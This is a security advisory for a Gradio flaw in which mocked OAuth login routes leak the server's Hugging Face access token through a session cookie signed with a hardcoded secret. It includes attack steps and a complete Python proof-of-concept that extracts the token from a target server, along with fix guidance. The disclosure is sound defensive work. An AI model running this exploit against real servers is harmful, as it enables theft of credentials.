GHSA-h3h8-3v2v-rg7m CVE-2026-27167 PYSEC-2026-63
Gradio: Mocked OAuth Login Exposes Server Credentials and Uses Hardcoded Session Secret
- Severity
- 0.0 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.51%
- Chance of exploitation in the next 30 days. Higher than 43.52% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
6.6.0- Upgrade gradio to this version or later
Description
Summary
Gradio applications running outside of Hugging Face Spaces automatically enable "mocked" OAuth routes when OAuth components (e.g. gr.LoginButton) are used. When a user visits /login/huggingface, the server retrieves its own Hugging Face access token via huggingface_hub.get_token() and stores it in the visitor's session cookie. If the application is network-accessible, any remote attacker can trigger this flow to steal the server owner's HF token. The session cookie is signed with a hardcoded secret derived from the string "-v4", making the payload trivially decodable.
Affected Component
gradio/oauth.py — functions attach_oauth(), _add_mocked_oauth_routes(), and _get_mocked_oauth_info().
Root Cause Analysis
1. Real token injected into every visitor's session
When Gradio detects it is not running inside a Hugging Face Space (get_space() is None), it registers mocked OAuth routes via _add_mocked_oauth_routes() (line 44).
The function _get_mocked_oauth_info() (line 307) calls huggingface_hub.get_token() to retrieve the real HF access token configured on the host machine (via HF_TOKEN environment variable or huggingface-cli login). This token is stored in a dict that is then injected into the session of any visitor who hits /login/callback (line 183):
request.session["oauth_info"] = mocked_oauth_info
The mocked_oauth_info dict contains the real token at key access_token (line 329):
return {
"access_token": token, # <-- real HF token from server
...
}
2. Hardcoded session signing secret
The SessionMiddleware secret is derived from OAUTH_CLIENT_SECRET (line 50):
session_secret = (OAUTH_CLIENT_SECRET or "") + "-v4"
When running outside a Space, OAUTH_CLIENT_SECRET is not set, so the secret becomes the constant string "-v4", hashed with SHA-256. Since this value is public (hardcoded in source code), any attacker can decode the session cookie payload without needing to break the signature.
In practice, Starlette's SessionMiddleware stores the session data as plaintext base64 in the cookie — the signature only provides integrity, not confidentiality. The token is readable by simply base64-decoding the cookie payload.
Attack Scenario
Prerequisites
- A Gradio app using OAuth components (
gr.LoginButton,gr.OAuthProfile, etc.) - The app is network-accessible (e.g.
server_name="0.0.0.0",share=True, port forwarding, etc.) - The host machine has a Hugging Face token configured
OAUTH_CLIENT_SECRETis not set (default outside of Spaces)
Steps
- Attacker sends a GET request to
http://<target>:7860/login/huggingface - The server responds with a 307 redirect to
/login/callback - The attacker follows the redirect; the server sets a
sessioncookie containing the real HF token - The attacker base64-decodes the cookie payload (everything before the first
.) to extract theaccess_token
Minimal Vulnerable Application
import gradio as gr
from huggingface_hub import login
login(token="hf_xxx...")
def hello(profile: gr.OAuthProfile | None) -> str:
if profile is None:
return "Not logged in."
return f"Hello {profile.name}"
with gr.Blocks() as demo:
gr.LoginButton()
gr.Markdown().attach_load_event(hello, None)
demo.launch(server_name="0.0.0.0")
Proof of Concept
#!/usr/bin/env python3
"""
POC: Gradio mocked OAuth leaks server's HF token via session + weak secret
Usage: python exploit.py --target http://victim:7860
python exploit.py --target http://victim:7860 --proxy http://127.0.0.1:8080
"""
import argparse
import base64
import json
import sys
import requests
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:7860")
ap.add_argument("--proxy", default=None, help="HTTP proxy, e.g. http://127.0.0.1:8080")
args = ap.parse_args()
base = args.target.rstrip("/")
proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None
# 1. Trigger mocked OAuth flow — server injects its own HF token into our session
s = requests.Session()
s.get(f"{base}/login/huggingface", allow_redirects=True, verify=False, proxies=proxies)
cookie = s.cookies.get("session")
if not cookie:
print("[-] No session cookie received; target may not be vulnerable.", file=sys.stderr)
sys.exit(1)
# 2. Decode the cookie payload (base64 before the first ".")
payload_b64 = cookie.split(".")[0]
payload_b64 += "=" * (-len(payload_b64) % 4) # fix padding
data = json.loads(base64.b64decode(payload_b64))
token = data.get("oauth_info", {}).get("access_token")
if token:
print(f"[+] Leaked HF token: {token}")
else:
print("[-] No access_token found in session.", file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
main()
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| gradio | >= 4.16.0, < 6.6.0 |
6.6.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
gradio PyPI → 6.6.0
- pip
pip install --upgrade "gradio>=6.6.0"- poetry
poetry add "gradio>=6.6.0"- uv
uv add "gradio>=6.6.0"
Severity breakdown
CVSS 3.1 0.0
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:N
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- None
Weakness
CWE-522: Insufficiently Protected Credentials
The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
How to prevent it
- Architecture and Design: Use an appropriate security mechanism to protect the credentials.
- Architecture and Design: Make appropriate use of cryptography to protect the credentials.
- Implementation: Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).
CWE-798: Use of Hard-coded Credentials
The product contains hard-coded credentials, such as a password or cryptographic key.
How to prevent it
- Architecture and Design: For outbound authentication: store passwords, keys, and other credentials outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible [REF-7]. In Windows environments, the Encrypted File System (EFS) may provide some protection.
- Architecture and Design: For inbound authentication: Rather than hard-code a default username and password, key, or other authentication credentials for first time logins, utilize a "first login" mode that requires the user to enter a unique strong password or key.
- Architecture and Design: If the product must contain hard-coded credentials or they cannot be removed, perform access control checks and limit which entities can access the feature that requires the hard-coded credentials. For example, a feature might only be enabled through the system console instead of through a network connection.
- Architecture and Design: For inbound authentication using passwords: apply strong one-way hashes to passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When handling an incoming password during authentication, take the hash of the password and compare it to the saved hash. Use randomly assigned salts for each separate hash that is generated. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.
- Architecture and Design: For front-end to back-end connections: Three solutions are possible, although none are complete. The first suggestion involves the use of generated passwords or keys that are changed automatically and must be entered at given time intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals. Next, the passwords or keys should be limited at the back end to only performing actions valid for the front end, as opposed to having full access. Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay-style attacks.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-j36p-7w88-g82j Gradio FileExplorer preprocess path traversal allows files outside root_dir to reach callbacks | High | Also affects gradio |
| GHSA-6655-8ph2-63j3 Gradio: Audio cache key ignores metadata when saving numpy audio outputs | Low | Also affects gradio |
| GHSA-7hp7-4p35-3cx2 Gradio contains a cookie injection vulnerability | Medium | Also affects gradio |
| GHSA-jmh7-g254-2cq9 Gradio has SSRF via Malicious `proxy_url` Injection in `gr.load()` Config Processing | High | Also affects gradio |
| GHSA-pfjf-5gxr-995x Gradio has an Open Redirect in its OAuth Flow | Medium | Also affects gradio |
| GHSA-39mp-8hj3-5c49 Gradio is Vulnerable to Absolute Path Traversal on Windows with Python 3.13+ | High | Also affects gradio |
| GHSA-8jw3-6x8j-v96g Gradio Allows Unauthorized File Copy via Path Manipulation | High | Also affects gradio |
| GHSA-wmjh-cpqj-4v6x Gradio CORS Origin Validation Bypass Vulnerability | Low | Also affects gradio |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor